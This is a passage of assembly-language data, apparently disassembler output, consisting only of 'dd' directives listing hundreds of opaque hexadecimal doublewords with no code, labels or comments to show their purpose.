		dd 4FC60BC0h, 0BD0EF6AAh, 0C1EEEC51h, 237B2BAFh, 0B290D4E7h
		dd 73B6BB5Fh, 91554E76h, 82935D6h, 4B61F003h, 2296B30Ah
		dd 4D109F0Bh, 0F0025B29h, 441EDF32h, 25DD74E2h,	1B4E7AF8h
		dd 9BD0AAEDh, 0E2983020h, 0B335F9A1h, 4B191CEDh, 0F8DAC233h
		dd 24D574h, 48BBEF13h, 0F0BDAAEh, 0EDC7B088h, 67EC9F08h
		dd 45B48DF6h, 0A90896ACh, 0BAD94503h, 359DC645h, 0C7BC1FD4h
		dd 4B76A74Bh, 460ECCB3h, 17005B99h, 30F0C91Bh, 0B6F82400h
		dd 7AD692D4h, 52CF6609h, 5B5AE3BDh, 95836FEDh, 0A72233F5h
		dd 8328B167h, 7E87906Ch, 949B5EF8h, 0F49F8E2Dh,	29406CBEh
		dd 76B60E4Bh, 80EC4322h, 38F7194Bh, 918B5200h, 9E6B7DBBh
		dd 302A4E1Dh, 9AB7650Ah, 5F292127h, 3440A583h, 0A35760FEh
		dd 30AAE492h, 0DD8D2335h, 8E344E99h, 0F6F2A912h, 0AC082983h
		dd 0C955B077h, 556D30E8h, 5AB3044Ah, 0EB5CB017h, 19E67874h
		dd 0E6FEA6A0h, 0DF71173Bh
		dd 5FC108FCh, 3B08B3B9h, 17A0F0B7h, 0E8A00ECDh,	46B70CC1h
		dd 0C91344EBh, 8F8CED00h, 317988A9h, 9B893A9Ch,	0A6625280h
		dd 68728E4h, 0B5E6FC4Bh, 0F2FABF12h, 391C771Eh,	0BA9C530Bh
		dd 0F6A97427h, 0BB111F24h, 690DD909h, 3C3ADF0Ah, 0C32580A5h
		dd 18C3372Eh, 2DB168F5h, 2D8F339Dh, 241AFE72h, 47000AF9h
		dd 21BA5183h, 66B00060h, 0E0576733h, 4F3EF319h,	0F8E104BBh
		dd 8AE85B59h, 0B558F2D2h, 0C6398982h, 6012FDEh,	400F104Ch
		dd 407446EFh, 6504A0A4h, 9A4B02B5h, 72EBFBF0h, 79511A74h
		dd 7F9D0911h, 5BB80892h, 0DE7BF085h, 4E97F572h,	135BD69h
		dd 0B4AAC500h, 126196E3h, 0DBE1FF0Dh, 6E18006h,	988BF6FFh
		dd 0A5BF13B5h, 882FA217h, 5860A515h, 149DEEDBh,	571E442Eh
		dd 0ED4A61B8h, 0CA4B84BDh, 0A5D3342Ah, 813A59B1h, 3B3019CFh
		dd 0E2402AB3h, 0ED929726h, 234D3782h, 45D67209h, 0FC726Dh
		dd 0A22EDA90h, 1C2BEBD2h, 44C2AD97h, 0C1B90B51h, 100D8EC5h
		dd 0CC78160h, 63BDC6BEh, 0DC2FF2D8h, 0B19841B5h, 0B3C1B72Fh
		dd 0F9DA27E6h, 1554876h, 0EBE63A62h, 1B20307Fh,	4B4048B1h
		dd 0B36E85h, 0F605BA3Dh, 22F37606h, 0D1E2960Fh,	3FED6555h
		dd 909E09AEh, 0A12E445Dh, 0A89F50D3h, 1CE566FBh, 11442231h
		dd 5210099h, 0EABD592Bh, 0E008073h, 4AC6CC9Dh, 4D856F6Ch
		dd 8CE8556Ah, 8529C504h, 0F813279Dh, 103BDFBEh,	68022AE9h
		dd 0E5B2167Ch, 80D7174Ah, 6CED8349h, 0DDF94B1Ah, 0C1CA5AFFh
		dd 5A891D64h, 2EF70B7Fh, 46DE4B74h, 54E1415h, 98F1936Ah
		dd 2382929h, 83A1B9CBh,	0E01AB2B7h, 98E6984h, 1E7A8D5Ah
		dd 91D3355Dh, 0A6218216h, 0F961C0B9h, 4E45B72Fh, 905B4BABh
		dd 48210EFCh, 0A113D46Ch, 761DA71Ch, 19DDE4Eh, 96B1DA3Bh
		dd 0A9604F9h, 0BBF5C557h, 35570625h, 5F6887F7h,	0F8CF12E6h
		dd 9181F54Ch, 2EAD7581h, 87DBE117h, 0A2ADF780h,	0E40B84CFh
		dd 18295026h, 0ABC442h,	1D0C8D8Ch, 8B266121h, 59492507h
		dd 2993973h, 6006BFC8h,	97243489h, 0A2C05E4Dh, 32883645h
		dd 0E550227Ch, 235B2858h, 0C6B1B3B7h, 64EB6036h, 0E80E6714h
		dd 0EF3F006Ah, 27A8528Fh, 5D2A00EDh, 0C91CCAD8h, 0BB0B2973h
		dd 20AD9D03h, 2C685BC7h, 257C0111h, 0F40B660h, 8F306E8Ah
		dd 9D612B43h, 12D30A00h, 0F5482563h, 52FD2FC7h,	0ABDB951Ah
		dd 30191651h, 4197A41Dh, 90031D6Dh, 0BB89BFE0h,	5F4F7FEAh
		dd 41090E07h, 50F67CDDh, 7E6DB7D9h, 39601A64h, 997C1916h
		dd 80ED4C01h, 5061A9D7h, 8229A421h, 0BBE75F25h,	0D4C07CA5h
		dd 8C30A80Fh, 0AC2582E0h, 51745C7Bh, 52342F0Dh,	0FEC9ABh
		dd 4715FA86h, 725C9D97h, 2A69E802h, 2D741CDDh, 6F04EFh
		dd 0EF8B8040h, 0E47F14DBh, 0C0B3A2B3h, 0F5A85F4Bh, 0B25FF64Ah
		dd 0C7F9311Dh, 0ED7F1AA8h, 3F0F209h, 27DF769Bh,	2F557A74h
		dd 59495FF9h, 3B78A742h, 0D2D2FE9h, 51A8F479h, 0DE334098h
		dd 0D596BCA4h, 0BC0841C7h, 0DDF0C756h, 0E7E29813h, 74435325h
		dd 87944067h, 1F06A372h, 12E91093h, 0C81D0719h,	0E08DCD04h
		dd 69F57B20h, 9DFABD00h, 0C1470880h, 9A5B4AE9h,	0C215C849h
		dd 155E55A6h, 0B2DA8A62h, 0DD2A40AEh, 0EE12978Fh, 0E07BED75h
		dd 70E691DCh, 61EB254Ah, 708E184h, 0CAAB88C4h, 0D4CB0205h
		dd 5EBB4E91h, 37FD4920h, 383389AEh, 83F435C2h, 7BFEB78Bh
		dd 0D65FA688h, 6F8EA402h, 0FEA5B5B7h, 9BEE0942h, 0C5B32878h
		dd 0D4C80B7Ah, 186108E5h, 0D32DC2A5h, 3FAC700Bh, 82BE5639h
		dd 91F7EC08h, 4E4DF88Fh, 0B4C5EC2Dh, 4AE76AFFh,	1EC45AE4h
		dd 0AD2D4971h, 541BC70h, 3C8BD92Bh, 5B34ED8h, 9CE38104h
		dd 8CDAABB3h, 78C014C8h, 254028BBh, 5AD35FDFh, 63585BABh
		dd 993C0766h, 43A9BB01h, 0EBE43A9Bh, 0F9101720h, 0F736009Ah
		dd 0C670F1ABh, 665D2E96h, 1CA64A86h, 5806F0E0h,	0C4EAFA27h
		dd 0BD2316D8h, 0E2B652D5h, 10F0A90Fh, 16B8901Ch, 8859816Fh
		dd 0F403730Dh, 2770186Dh, 467FA825h, 59ED0784h,	125DA15Fh
		dd 6E77D4E1h, 6F35B5E0h, 4DEBDC84h, 0EEA51BBCh,	0B8E96394h
		dd 0D50901B8h, 0DF9F403Bh, 26CD6C02h, 659D2301h, 5015092Bh
		dd 0FC0046C4h, 0B3C77C1Bh, 752793C4h, 4CBD00EEh, 732D60D4h
		dd 0DA02614Dh, 0E5B1F3BFh, 70A9DD18h, 15778C02h, 457D41EAh
		dd 8A115011h, 530D1401h, 2A758509h, 0D65BB904h,	0C0A17DA6h
		dd 739EAF47h, 0DC91F057h, 0F890704Eh, 9D5ED380h, 1759FADBh
		dd 8401EC18h, 9D0349A3h, 0A32B18C1h, 564589FBh,	3002F662h
		dd 0FDDCFF1h, 38985F8Eh, 0EC9D1ACDh, 1746B7BDh,	97862FE4h
		dd 751297D3h, 15ECF2E9h, 0B93F0B8Ch, 147639E9h,	0C6FD027h
		dd 0C18BB282h, 4EB70AA7h, 0DC2196E1h, 0BDF1EE02h, 0D0EF18B2h
		dd 2D01305Eh, 28598DF1h, 0CBBB8FBCh, 0F02AC6F5h, 240072C2h
		dd 57BB6050h, 0EC2517B1h, 615B3852h, 0AC6D90ADh, 9BC6CFC0h
		dd 0FC2F05BCh, 0E4C4FA4Ah, 4E7648AEh, 83D0FF93h, 0AD8809DDh
		dd 21DFC43Dh, 0ACA39631h, 0EFA00067h, 8A28BC08h, 0CF12CFD1h
		dd 2F12A64h, 93E22F76h,	255A047Fh, 6CD55518h, 10579027h
		dd 0B996BAh, 0BE4C9FDFh, 39203155h, 337FC000h, 5F9A592Eh
		dd 4B527350h, 0AFBD8590h, 3DA98256h, 137AC0BDh,	45114F04h
		dd 0F8229A3h, 0A379570Fh, 0C63CA580h, 4B32823Ah, 0A01BB7C9h
		dd 39B11F51h, 0AA8BAC3Bh, 355F9A78h, 49CCAF08h,	0F074990Bh
		dd 9512F035h, 93487FD1h, 0D1DA25h, 0BB50D1FFh, 3152A9DFh
		dd 85295F1Ch, 69ECCA79h, 3DD56EE2h, 287CA540h, 65259C4Ch
		dd 5A02E71Eh, 29DDF7DDh, 95004458h, 5A50D256h, 6741025Ch
		dd 19750285h, 6FDF6FEAh, 0ADEA63ADh, 7BE99EC8h,	88E67B7h
		dd 702DA3A0h, 8014B1B4h, 6D9C3546h, 0F2011650h,	0CE1E094Bh
		dd 27305399h, 19FD003Fh, 0C9C381B6h, 584B4563h,	580B0ACCh
		dd 0FD6AA49Dh, 2070617Ch, 0CC3CFCCEh, 0E4F1F700h, 0A2BC60FDh
		dd 0FDA85C88h, 6E3F9341h, 9A171675h, 0F6ADC7C4h, 29F80592h
		dd 97CAAE28h, 5095DC4Ah, 22245F58h, 168A4E02h, 6159FF9Ch
		dd 0E28FB5Eh, 81E81480h, 4F01CE1Ch, 0B5419A22h,	622E388Fh
		dd 89270D88h, 8B1569BBh, 382AED2Ah, 14313FB0h, 100E1771h
		dd 0E6142C91h, 16C0CA70h, 8DAF1CB0h, 0E81D7D00h, 65E319F0h
		dd 0C09D00BAh, 8E53C4F3h, 606271E4h, 50F4946h, 0C5CE192Bh
		dd 984E2E61h, 122211C1h, 45245B00h, 3A960A98h, 0EDE717F2h
		dd 2101BBEAh, 0B4CA603Bh, 0FCA2092Eh, 0F5169D71h, 0A99D6742h
		dd 40925C33h, 5E27DF81h, 0C2695025h, 40CD5697h,	0AF091AC3h
		dd 636BD000h, 3DBD0B49h, 0C8AFCB13h, 9684D678h,	0F110D162h
		dd 0E7A45C29h, 213314B5h, 0BF002669h, 0DC2D1228h, 91DDA59h
		dd 1CB1BD33h, 7025A771h, 0FC6D25DCh, 3E06674h, 0C82749BDh
		dd 0DEAF2E6Dh, 72596913h, 0BF031F11h, 430A3777h, 1486A5F2h
		dd 2841B9FEh, 51040044h, 4EB912B3h, 0B31EA8Fh, 750B3D9Dh
		dd 1A93A49Fh, 22AC260h,	0C9B20BF4h, 0BC0758B9h,	0ED5FD9C6h
		dd 817B4928h, 2F62A500h, 420EE42h, 0E91171DCh, 0D652400Ah
		dd 591323Ah, 7F2F957Ch,	1094E8E8h, 810009E9h, 41D6B1EFh
		dd 0B9246173h, 0F4AF080Ah, 86BF60B9h, 21504EDEh, 0D59A4585h
		dd 0F6708B95h, 5400DCBBh, 5BC791Dh, 9D113358h, 2FC95882h
		dd 0FC61F801h, 20F0AF36h, 0A512D951h, 3EFFE9F8h, 4A2B3DE1h
		dd 2A09296Eh, 12DF09CBh
		dd 44CE5628h, 0F0A9B8F8h, 0D3218C0Fh, 4B34E227h, 0C93557AAh
		dd 7F19D8AEh, 9B385200h, 0D65A81FEh, 19F99572h,	99B5F92h
		dd 0BBD40580h, 0AC02B1D6h, 31950667h, 0D2705D8Dh, 0A3CB811Ch
		dd 13BA6192h, 0ECACADACh, 60F89E5Eh, 212D9D03h,	81C2D395h
		dd 235D61BFh, 3D8B2E79h, 0A81DA9D7h, 3A009F9h, 0C100384Bh
		dd 0BD018862h, 760F3127h, 9B27111h, 0C19375F5h,	1A7EBEB8h
		dd 0B708D000h, 0C9F86DD4h, 0D6805EB1h, 220E7F65h, 0AC195923h
		dd 0FD8107Fh, 0DC30938Dh, 0A841B7h, 94B863CCh, 428D9235h
		dd 91851404h, 1DBCE4EDh, 0FECF81C0h, 5B132DEBh,	356FE1FFh
		dd 522B0803h, 0D7E0780Ch, 9097040Dh, 7F1DD9h, 0DC0E11B6h
		dd 0FC3227E7h, 0DF1D1FF2h, 5B92EFE5h, 0A3527330h, 6E47093Fh
		dd 43C98589h, 27282F5Bh, 65608AF3h, 479719A1h, 4CFB1156h
		dd 2D40DF66h, 1B0C63C0h, 0CA914BACh, 35AB342Dh,	61E98687h
		dd 6E7F600Dh, 8B79096Ah, 45D918DEh, 0F1CD1E20h,	0A03EC0C2h
		dd 1DF5C71Eh, 4269D004h, 5EBCE9D8h, 0B9E18012h,	213BC00h
		dd 0BC7679B7h, 22462C78h, 58C49A1Ch, 0D3088C40h, 79DFDAC3h
		dd 85A497F6h, 83815274h, 1763A628h, 910D9200h, 0D2F79725h
		dd 776A2E12h, 393972F1h, 8612B9ECh, 4842EB5h, 5F9BD8ABh
		dd 0C00C5048h, 0DFB64522h, 5C52F6B2h, 312F8A60h, 585A0598h
		dd 427AF90h, 0C1D46D24h, 3EBF4A0Bh, 0BE6A7EA0h,	0AF01DEF4h
		dd 0B7A84299h, 4E9251F4h, 0A090E8DAh, 0E55A5360h, 0D0768C2Bh
		dd 67AE500h, 70AB3802h,	2BA40030h, 5E018E9Eh, 505D615Fh
		dd 8BBA180Eh, 0ED33B77Dh, 80D5373Eh, 0C973E9A1h, 0C58AB801h
		dd 359A7E50h, 5CDA8BDCh, 0E99455Fh, 0C1DC5B58h,	0EB1E9CF0h
		dd 1C2CE60h, 0B11FD781h, 9D6174D8h, 0FAF289A2h,	0EB7756F8h
		dd 38509C7Bh, 0EDA2132Bh, 6A44E1F7h, 257D06C1h,	0D4C78101h
		dd 4E2541FBh, 76B9E661h, 0C20CF229h, 236E926h, 11DC24FDh
		dd 6B2E42A1h, 17238Ch, 2EC73172h, 7D25BD89h, 988DEE2Ah
		dd 26F9250Dh, 46DEBA74h, 0DA65001Bh, 2C2DBBE1h,	81FD01F0h
		dd 0E63F8CDFh, 94752F53h, 0B3A09AE6h, 3F043CCCh, 689FFA6h
		dd 92B815E9h, 0B382124Eh, 0BE1066FAh, 0A01DE87h, 9777BBD5h
		dd 1E2F32EDh, 0E49001A9h, 33967BB2h, 0D6C1F10h,	562E0949h
		dd 0A1FF40DBh, 4D009BFDh, 7BE25099h, 972CC7CFh,	5B972FD9h
		dd 30A752BAh, 107EA6D2h, 38BCB600h, 604BCB55h, 489C033Ah
		dd 13F98B7Ah, 323E3E44h, 0F014CF0Bh, 6FC11895h,	4A78077Ah
		dd 652FAA6Eh, 9098BE38h, 5B62B75Fh, 0C0BFEDDDh,	0CAEE4C6Fh
		dd 2FD8B4A1h, 3904CC35h, 39BE3031h, 50FA42CBh, 85407756h
		dd 0D7734Fh, 0BFD2434Ah, 392EC517h, 0C5E35B4Bh,	604EDA20h
		dd 2C23D20h, 0E2B0039Ch, 65FB2A1Bh, 0BD1595C0h,	0E7BECE00h
		dd 525309E9h, 6159285Eh, 0FCB30166h, 3DBD2358h,	0C4742F26h
		dd 60CECDBBh, 0E69AF8F2h, 703F53B7h, 32008B05h,	37F00658h
		dd 7D15BF7Fh, 8126015Bh, 0C1169CD3h, 0B5073064h, 0F5FD0F4Eh
		dd 0CBAC19BCh, 2634E00h, 8A6111B3h, 5E5AE7D8h, 0C042DDC7h
		dd 97E74C96h, 3A72894Ch, 5CE123Fh, 82D2EBF2h, 9CDD26BDh
		dd 7B444AB0h, 332026CFh, 0F1D83400h, 0B538E932h, 0E7892DBDh
		dd 0D705D1B6h, 59E42Dh,	0BE397F1h, 0FCF5373h, 4AC90504h
		dd 6EFF3785h, 42F04EF8h, 958302CBh, 0B890F56h, 7580F65Bh
		dd 0B6AE793Fh, 8A5B4E5Fh, 0A7602145h, 7850D5DBh, 293904E6h
		dd 8F0C8995h, 632F351Bh, 5000616Fh, 0D690B5A8h,	743863E8h
		dd 2FE8C860h, 1768F285h, 0EA8D2361h, 89B98356h,	0C7529E4Fh
		dd 822BB09Dh, 5D18650Eh, 68339F39h, 82F24A78h, 80779AD2h
		dd 0D76E6199h, 3734009Fh, 8D89C893h, 0F3B51541h, 0EEF67ACBh
		dd 0A5409CC7h, 4C5F1FFFh, 1A27AD09h, 142130E8h,	82CA7582h
		dd 0B370A4F3h, 0A4D0B53Fh, 99DF8013h, 0DCA95DA2h, 0F0E88009h
		dd 19B586A0h, 0C57B4E97h, 2130A5BEh, 0A2859C8h,	4B69E040h
		dd 9260A217h, 2E16831Eh, 49A96BBEh, 677CC0D4h, 4F51F656h
		dd 0BC3E3457h, 986E4E10h, 0A101C900h, 3319A06Fh, 28B1B9B0h
		dd 0B2A90980h, 0EC0776Ch, 8BFE04Dh, 7A8425E0h, 427378Fh
		dd 562642FCh, 0A102DC2Ah, 6DB52999h, 0DE1E742Ch, 0D5021946h
		dd 642C61A7h, 0C82E0E55h, 0DAD4271Dh, 0EF2485C4h, 25322B08h
		dd 87B42CE4h, 0C0A107DEh, 443D11D7h, 0A384EA53h, 0AD5BBAADh
		dd 9CBABC08h, 6FA7096Bh, 427415F5h, 7340A778h, 4E970A01h
		dd 0FD988068h, 0D8508225h, 0D66A3024h, 0D1B7AFh, 0E356821h
		dd 9A023E78h, 0F780A175h, 5C4E5D53h, 76289527h,	0DEBF50E7h
		dd 2D2DAB90h, 0C4C2D915h, 12DEEB58h, 0D3472AC0h, 0E01DAF0h
		dd 0C27838BBh, 6763606Ch, 3B035004h, 8A81EBA6h,	5A020435h
		dd 69121670h, 0DB88509Dh, 0D95B0040h, 0E56423FFh, 9CFC6986h
		dd 0F5D0964Bh, 2BC656BFh, 92805B6Ah, 2CFF3D8h, 0B2F0A2BFh
		dd 0C49EDD57h, 23D98CC4h, 7BE273BCh, 80453DFFh,	0FCB0B6ACh
		dd 6D16C4F5h, 34AAC8A8h, 926FB8D7h, 0EFC13CDBh,	309916B9h
		dd 0C64B10DEh, 0F28479DEh, 3D1E81E8h, 85EA0418h, 9B2EBAC8h
		dd 8A0FC082h, 0B50317F9h, 0B42CD45h, 18E9FA68h,	8B00A976h
		dd 809EBBC1h, 0CD1E4B92h, 0CC206FB0h, 1E55A05Bh, 8079DF83h
		dd 0CAF31EF4h, 2D9044A5h, 227D8D10h, 50905F09h,	57BBF368h
		dd 114EF378h, 0E65F27E8h, 0F429E0C3h, 72ECEC13h, 9C8D74FEh
		dd 2C742772h, 1C2D00F4h, 0CB3FF77Ah, 33539F5h, 5EB64EF2h
		dd 0F862F8E1h, 0B728CA1Fh, 894EE952h, 5482E3ECh, 0ADEFACB4h
		dd 87E54741h, 8B8BFD2Fh, 0C0BA6905h, 5D381D8h, 3C0F2D03h
		dd 0E630EF90h, 27AB37BBh, 41D02F7Ah, 0B88D79FFh, 835602FAh
		dd 0FBE029D6h, 73F4B654h, 0B4FD06DAh, 0CA39316Ch, 1AA8755Fh
		dd 4D852981h, 9DDD2B04h, 0BF434Ch, 87E4D3BBh, 3AB33D82h
		dd 6ECE6D04h, 47B878A6h, 5F5B50C1h, 7D5ECE56h, 0ADFE69h
		dd 9D09D1FFh, 9C971B5Dh, 44B96973h, 5278EA73h, 1D250257h
		dd 94F673C0h, 496A037Dh, 0BCD222Ch, 74DC3500h, 0DD1330D5h
		dd 4E4A04D8h, 0F985095Eh, 765F25CEh, 0C2BF00E5h, 0BB5390EEh
		dd 12B0783Dh, 0B35F5B22h, 425F1984h, 88C812FAh,	0EC034F9Dh
		dd 0A98C07CCh, 7095F0DFh, 93D224FAh, 0B87C2FC5h, 0B2195EDEh
		dd 211A87Dh, 0B887AAF6h, 805D1B28h, 0B3396361h,	0F1E925B1h
		dd 5EC2D579h, 3D5E12B4h, 0F2200D4h, 803336BEh, 8102E9E7h
		dd 0B809E4CBh, 82BADD55h, 0D448DEh, 8A9F761Ah, 27BF50F8h
		dd 0F6DD3325h, 0DE29A4DBh, 0B860AC28h, 0D0D9344Bh, 2FE2960h
		dd 0D4AEC781h, 0D35E72F8h, 44B7576Bh, 0DF0B829Eh, 250870A4h
		dd 8E7B30F9h, 0B5F118B3h, 0D34B8FAFh, 72D79D71h, 0B713CD1h
		dd 5C19A82Ah, 0C8C8D65Fh, 799A00EAh, 0F92DB6B3h, 0B9E4A55Dh
		dd 624A1402h, 5D95092Eh, 0B1970044h, 0F117521h,	0CEB23B83h
		dd 51319481h, 0DE25F4D8h, 44817F25h, 18CEE4Eh, 3E828E01h
		dd 0C0B0987Ch, 85170360h, 0ACF62CDDh, 7C953300h, 1363D5B9h
		dd 76FF8603h, 0A08C7EEAh, 17BD4029h, 4506061h, 40C6D37h
		dd 28FC015Eh, 70E66182h, 9D5AC82h, 71E4F901h, 1CC51288h
		dd 97C55025h, 10842A2h,	0F868337Dh, 0FACB3Eh, 5F52B09Bh
		dd 318D095Bh, 8268DC97h, 0BA4EB7C8h, 0EF811980h, 363BA35Ah
		dd 9FE30248h, 0F76E1E13h, 32438DC4h, 95B56028h,	0FDF13CA9h
		dd 61C18A84h, 0B3D0C8EEh
		dd 96CCD85Fh, 59BD3C03h, 0D1078BC0h, 87DEEB81h,	8AA87734h
		dd 52B18298h, 89221205h, 0E350FDB5h, 0BA65299Bh, 506FD140h
		dd 30E00078h, 0CE96A634h, 1204E7E1h, 53639528h,	8D0742BAh
		dd 0C20B2509h, 0D41BDD0Eh, 2FF91E16h, 186A34BEh, 6911C31h
		dd 8F5079C8h, 26699531h, 38CDCC57h, 23A78501h, 3544734Ch
		dd 65EDFE89h, 5A51F2Ah,	8453FE1Bh, 7E65EF55h, 7A95D10Ah
		dd 2D250D91h, 973D9CFFh, 1CD089B0h, 21952980h, 0F250AD5h
		dd 0D3E409BCh, 2CB5A768h, 0EDCF0104h, 0B96EC8AFh, 0FB07212Fh
		dd 0A487D035h, 65F22001h, 6F4F693h, 0E083442Ch,	8AF84CE9h
		dd 5901F85Dh, 5FA29D7Ch, 76CC2BBFh, 0E3E0B502h,	359D1B4Dh
		dd 8016117Ah, 66AB5AD4h, 624670BBh, 1A9558FCh, 42C02B02h
		dd 0A534FC82h, 2EAB5370h, 4C5CD2F2h, 0B1844FDCh, 5B893C54h
		dd 0DDC493A6h, 0D8861D0Ch, 0A047880Dh, 591143A7h, 0D30BA049h
		dd 65766F38h, 1B46D6h, 854D4FFFh, 5E52BCF0h, 0AD9AF9C7h
		dd 6D0E8667h, 0A4600876h, 0DEE5EC96h, 2CD34195h, 0C50C8B2Eh
		dd 3CBBF98Ah, 3DB7900Ah, 45BC8938h, 11001A51h, 9339E5D9h
		dd 37764Ah, 3F19D413h, 8C0FE0BDh, 51276998h, 0D4344C1Bh
		dd 0E1D2C41Ah, 87E82FECh, 55BF63C0h, 0D965438h,	4BA8A915h
		dd 63B6F885h, 754A4E2h,	0FB6A5A40h, 392B00A5h, 0D0E6F129h
		dd 0DB021458h, 6CF4E4E2h, 51E05E71h, 13ED1401h,	9D2EB9h
		dd 0ECFD282Eh, 0BF6653C0h, 0F8154B0h, 3116B6D7h, 8CFAF232h
		dd 9BF2F9Fh, 47DFDDDh, 0BB1D7E25h, 7800507Bh, 0FB67C770h
		dd 2625C680h, 0B98DF992h, 132585BBh, 4D2559D1h,	0E8D8C0DDh
		dd 4A02C2E5h, 219D2BC0h, 0A4CDF71Eh, 7AD34Bh, 6C7A8B4Dh
		dd 35090F7Fh, 0D2CD059Bh, 2BE46A14h, 0B5703E26h, 10B84EEh
		dd 0DD2CBD95h, 0FC16273Bh, 5BED27D9h, 0F963A0D2h, 0BDBB9007h
		dd 50172E9Fh, 0E8457D60h, 2636F922h, 0C3C7FBF5h, 6E639A21h
		dd 0DB7F7521h, 0E080CFE4h, 3169FC68h, 214497ADh, 0ED9A030Bh
		dd 0C0C4ED52h, 1313A1Fh, 28F99D10h, 8D17C14Ch, 0D309B925h
		dd 5635D182h, 5902EB54h, 3A5D23A1h, 10B50B37h, 0B5A0E9FAh
		dd 58569A1h, 29810522h,	2D2F103Dh, 0A8AA2D84h, 0B9D40E73h
		dd 5969F83Dh, 0B828179h, 1C30A19Dh, 400EEDB7h, 3328807Dh
		dd 3A52E101h, 0B0B78DF6h, 517E322Fh, 154D9682h,	0B506500Ch
		dd 0DE5AA5DBh, 4D2C513h, 0AF3269A9h, 9C9AED64h,	27F2DFCAh
		dd 8B4C4E72h, 0BF50C0E9h, 5BA34759h, 0EE751371h, 5D305109h
		dd 0A9D447BAh, 55203D40h, 77EE0103h, 0FA19F168h, 0FB824253h
		dd 0EA9E8F7h, 93E57B1Ah, 5AF87BA2h, 0E022E4Eh, 8D83A523h
		dd 0FC76FE85h, 666FB700h, 56B2BB80h, 0FE8F9D8Bh, 4E5CB43Ah
		dd 0C382FF6Bh, 0D590F5h, 5BCBBB11h, 0F7912D7h, 22901C31h
		dd 0DA585A2Fh, 7100A1A1h, 9A4E7528h, 0C019C83Fh, 155DE943h
		dd 617BB512h, 0C4008F6Fh, 69961BAEh, 511636D8h,	8AE95FF5h
		dd 0C4510DEDh, 3E00F9ACh, 0F381D829h, 4AEE2DC4h, 4BEACA46h
		dd 0A9E612FAh, 1A1BB881h, 1526E985h, 684C4298h,	0BA44B609h
		dd 8DB5DDA6h, 51816F1h,	60E33013h, 0A7B96309h, 1965339Dh
		dd 0A23357FEh, 81F00CEh, 2E2C43CCh, 0E014979Ch,	0D4047B25h
		dd 0B316F458h, 62E2FB29h, 0C800CE3Ch, 857B9010h, 2A16DFDEh
		dd 0AB00BBD7h, 9E7133B8h, 630891F4h, 0EE840438h, 0EEE451A6h
		dd 0B6E6DE5h, 1B5C93CEh, 0DAB060C7h, 482F9842h,	80DFEC5Bh
		dd 0F1C4F982h, 8100EC3Bh, 69FD32C0h, 95615B24h,	1C59A8DBh
		dd 411D8518h, 1382F76Eh, 60864DB6h, 831D79A4h, 6FEFAC09h
		dd 0AC3B7110h, 1B7D09C5h, 7569DF71h, 4E005B35h,	7E99030Eh
		dd 507C1621h, 80F9EC60h, 2F099A1Ah, 682300E3h, 0BD6F34B7h
		dd 0EE268650h, 0D10B83DCh, 37002B61h, 4E34812Bh, 6BFEB3E0h
		dd 73A0E28Ah, 6216651Bh, 60E95B6Fh, 0A0B0F6D3h,	0B82259E6h
		dd 172D4F09h, 0CC6BBB4Bh, 0F8C07F49h, 0CD6BBAE3h, 0A4201A5Ah
		dd 5A1F543h, 0A84CD19Bh, 0F6DAAE11h, 2B3018C9h,	1C045E4Eh
		dd 0F98A311Dh, 0F74E42BDh, 0D634A00Ah, 0E8989CA4h, 0A5007E24h
		dd 7DBBB50Ch, 903EBAA3h, 0FB61586Fh, 688B9773h,	73DCED5Eh
		dd 0EE9900A5h, 9AD1212Dh, 8964AF9Eh, 9FAF0AAEh,	79FBC90Ch
		dd 982AC51h, 1E7B1361h,	59CA48BBh, 0DFF95F94h, 0B64AE1E8h
		dd 17B2B8E6h, 2F9CD830h, 3D9AE766h, 0B0E01BF0h,	9DB79613h
		dd 0DA3B84B8h, 599629BBh, 2C6FBB08h, 5CC02749h,	0A2627667h
		dd 0C61C3E25h, 0CA4497EEh, 0F9F204E8h, 0EF8A424Bh, 0B1C52D22h
		dd 0DBF13158h, 214AB16Eh, 55DB2E34h, 8BE285C9h,	1B117235h
		dd 39C17783h, 732B6798h, 0E5352EE3h, 16CEEAh, 16058BCh
		dd 0D82BF1Ah, 7D845645h, 0B27B6A8Bh, 2948F00h, 0CA961A2Eh
		dd 5AA6A4Ah, 0F90B39FCh, 0EDE8C4h, 3A869433h, 0BAB94B42h
		dd 853824B8h, 0F9D84135h, 43949761h, 9DE5853h, 7B4D7ECBh
		dd 0F871A11Eh, 1D75FC18h, 0DF284C01h, 0C65CB774h, 0E0CDD7C2h
		dd 0C5A865EEh, 9201D308h, 0C020F2F5h, 95F38052h, 1CE9275Fh
		dd 0E91C576h, 0A7F8EB00h, 0A87175EAh, 5D79DC00h, 0DAB92B25h
		dd 0FFC1498Bh, 235E30BCh, 13832ECCh, 0BA2EB6F2h, 70F2F556h
		dd 0D14A8107h, 0BF010A32h, 693D3DB0h, 9A02AFA8h, 0DFF4E3B1h
		dd 0CB505FF6h, 5F746300h, 9BB0A776h, 693C008Dh,	0AF98ADAAh
		dd 0DA04EFE8h, 1E3324F1h, 7D31A0BFh, 6200DE7Fh,	68CBACAEh
		dd 98C720CEh, 0DA130038h, 2401193Eh, 3360F4A7h,	533C5132h
		dd 2947A83h, 0CF5E0785h, 60DFED47h, 6436ECh, 0E10215C3h
		dd 23599FF4h, 0D3587C00h, 2D0A2229h, 0EBEC00B0h, 66D1CC20h
		dd 100007D7h, 524512FBh, 87543Dh, 9148C590h, 9340BB86h
		dd 0DD992825h, 0FC6A9A26h, 54BE40Ch, 3D55DCFh, 9F8CADCEh
		dd 17B6044Ah, 0B5CDD403h, 3E154ED8h, 0ED01EF13h, 0A8F50941h
		dd 0E1B4D81Bh, 0C2DEF60Ah, 0C093B360h, 0C338EAAh, 3801EB9Fh
		dd 0D2E912Eh, 0C8EEC72Ch, 1E0039DCh, 916E8653h,	574014h
		dd 1FBAF38Ch, 48602DF8h, 0A6B16507h, 21D187DBh,	12F35476h
		dd 0FA23568Ch, 0E5EA6590h, 81570390h, 0B282B896h, 0F83DBC60h
		dd 0A8F6D9F1h, 6F719E2h, 9054038Ch, 0F34B1A41h,	9FB904FFh
		dd 0DEF4BF66h, 4B4C0010h, 6770255Eh, 0B700CF9Ch, 91FC15DAh
		dd 9D445302h, 0B8001956h, 8D7A9D3Bh, 0BCF22A38h, 22C20081h
		dd 0A5A324DBh, 0E5070627h, 92ABF0CDh, 45477B70h, 171B00A7h
		dd 79BBB1F5h, 91063A30h, 0C9285EA4h, 272E0BC0h,	867EF30Fh
		dd 8CAAF193h, 0D41D0D0Eh, 0BC7B1205h, 6DD3BA0h,	6FFD3379h
		dd 0FC030082h, 0A36E692Bh, 9690544Fh, 37BE624Bh, 83523467h
